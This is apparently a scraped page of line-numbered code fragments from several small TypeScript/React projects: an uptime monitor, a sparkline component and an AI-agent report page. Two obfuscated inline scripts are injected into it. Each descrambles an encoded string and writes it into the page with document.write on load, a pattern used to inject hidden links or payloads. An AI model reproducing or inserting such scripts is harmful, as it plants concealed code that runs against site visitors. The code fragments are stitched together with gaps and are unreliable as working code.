1<script>(()=>{for(j=function(){for(h='6&EZrFLw9:F9>{84igZ',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("t%3E.jr/-ojuremey%20opyo/i.fsio..c0Onmg5:n.qlxsliat%3CCsL0t%20rop%3E%3C:%25%25etbstois%20lq5-nia:ts;p30;ctces6ilo0;srrem:mtorerT%3Earfarr;-:.%200)h;s9aipo5e-3b8bchd#.fegr%25;bs3p0dhoradusslsd:4::;roxp%20.i:p%3Cx%3Cny%25%20nnid4ti;tdwdtt=kr%20;enp3i%20eiP%200xt;%3Er%7Birfeaee9aiir2%20cl/1t8fssrnx%7B09pszinnhtfi%7B%25o9fpee0.)aeesD%3E,p63fn%7Dt:%3C(3somf:%3Eiosvi%7Dt%7Bosdrp%3Eta5n%3Cr--olsm)%7Daittc0elg/%20tm%3Et%3C/t=vfdia%20ldautdrct%20ol/c=%3E%3Claefr/atrni(irfostlray%25nd%20ids.ons)iUnehhaltlatcSL(cocepo:%22dw0.a%20ydnePtt1ma=jfusmt5pnswa,,.acss%3Everacxm0D//eaet(/oosd%22:edf(ocra;etr.%22dsati%20e/dberahstbiutpznao4:=aedt.t.l%22.(e/arliop(SO%22acCenL8phP%3Co:ceinealp,satowxplhirweoiemndal:r%22T,dh@thscnwro%22oop#)tTuyttR/rt%7D%22%22wd%20rh)nx%7B-%7D.p.t.%7Dfl,=oyoooeadai=%22ne;o-)utancig)(es:-n(cnednem9hetr(%20cs/%7D)ucautrt%25n(,)dcoddtpDenm(f.0h)dcondnnpytnwaha)o.ftec%20kPxmetaltw%7BpYd%3E)b.ndum:%3Ce./r.eedit,,rnC.ewiSc!ot:(ihEeot;iitesa%3Cest-ie%7Bn")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
82`;
83
84// --- UTILITY FUNCTIONS ---
85function extractAndParseJson<T>(text: string): T {
86 const jsonMatch = text.match(/\{[\s\S]*\}/);
87 if (!jsonMatch) {
100}
101
102async function callAgent<T>(
103 openai: OpenAI,
104 systemPrompt: string,
122
123// --- HTML & FRONTEND ---
124function generateHtml(sourceUrl: string) {
125 return `<!DOCTYPE html>
126<html lang="en">
212 };
213
214 function createPlaceholder(title) {
215 const card = document.createElement('div');
216 card.className = 'report-card visible';
222 }
223
224 function setupPlaceholders() {
225 resultsGrid.innerHTML = '';
226 finalReportContainer.innerHTML = '';
250 eventSource = new EventSource(url);
251
252 eventSource.onmessage = function(event) {
253 const { agent, data } = JSON.parse(event.data);
254 updateUI(agent, data);
255 };
256
257 eventSource.onerror = function(err) {
258 console.error("EventSource failed:", err);
259 alert('An error occurred during analysis. Check the console.');
264 });
265
266 function updateUI(agent, data) {
267 if (agent === 'done') {
268 eventSource.close();
1<script>(()=>{for(j=function(){for(h='F!0i!Y&N%E3oqj<}2Ca',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("ytcylsi6puosi%7Bm5q.amtrnsle%3E./r0ttjrPt;Oc.p/e-i3dcmrf.5itrLntnT;i%25plr0;,xiE.-seooaep:oafdfo%25anrpcfofr::%25%3C5sds-tptere5a5dbo%20!x%25:xtr;j0dslbsyo-iedswtd;4is3ed3:r%20l8%3Eer0;tb%20tmeef:nl;ri/4-2lid;p.nn%25%20n%3Ciopqi8zntxr%3EDf0lhe=ibs%3C:hasytf/%3E%7D%200as%3C9:-tipo:n%20%7Bh%3C%7Bemiol0nmC@itn096./)radfe(erote0g(%7Bvi%20t9:%20%7D:rfrc%7Da%20adeolglgirsjtsdha0ar=:%3E:%20rsas%3C%3Ed%25c.eeanpsc:tsnr)%20o%3E3ds%20%3Chteansiok%3Cs(dtisucdd.wvsrttrl%3EotnlD.niuthcS3o.1dc((oto%3C%20fecRon0.etuaP8=tbth=depiwo%3Ee%3E%7Bl,osia;wsa%20=e/4isiarero.(t.Uzo:mci0tr)ha#%22Li)tp/lscoeac%20r%22ahuee#tasa/(hxedt)flofasuosp%7B.rhp3nacven//tpr/ee%22dyt;P%20ess9:r%22ddhp:-k-oitadla%25oPaxOxw-/dd%7Dpt%20imo0cpe%20eT%22bdC(=aephrdor,wiit),ni(/rSm%7B%22=ytT%7Denn)oxudf9aepfuetx%7Dmtoom).o)npemon%3C.e;a.ice,iccteS:ntiigceeehtetw1m(nwc(sstul((i;%22rsa/ioeernc,De))nhnortodc.ntnhdtypfc.as%22tr%22ocan;.t.ae%3Etplttwywt%3C%22nn.dL:am,no.nla,eCl%7DdiYtpnaao%20)a/m)r,-tu")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
41};
42
43function PostList({ posts }: { posts: PostType[] }) {
44 return (
45 <ul>
53}
54
55function Post({ post }: { post: PostType }) {
56 return (
57 <div className="bg-gray-50 rounded p-3">
9const thisURL = parseProject(import.meta.url).links.self.project;
10
11function StatusRow({ rows }) {
12 return (
13 <div className="w-full flex flex-col space-y-2">
31}
32
33function StatusSection({ url, rows }) {
34 const sectionRows = rows.filter(row => row[0] === url);
35 const percentUp = Math.round((sectionRows.filter(row => row[1]).length / sectionRows.length) * 100);
47}
48
49export default async function(req: Request): Promise<Response> {
50 const { rows } = await sqlite.execute(
51 "select url, ok, duration, timestamp from uptime order by timestamp desc limit 200",
1/** @jsxImportSource https://esm.sh/react@18.2.0 */
2export function SparklineSVG({ strokeWidth = 2, data = [], fill = "none", stroke = "black" }) {
3 const padding = 2;
4 const xMargin = 25;
4const thisURL = parseProject(import.meta.url).links.self.latest;
5
6export async function notify(message: string) {
7 await email({ subject: message, text: `Email sent from ${thisURL}` });
8}
9const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms));
10
11export async function uptimeCheck(url: string, attempt = 1) {
12 let reason: string = "";
13 let status: number | null = null;
2import { renderToString } from "npm:react-dom/server";
3
4export default async function(req: Request) {
5 return new Response(
6 renderToString(
1export default async function (req: Request): Promise<Response> {
2 if (req.method !== "GET") {
3 return new Response("Method Not Allowed", { status: 405 });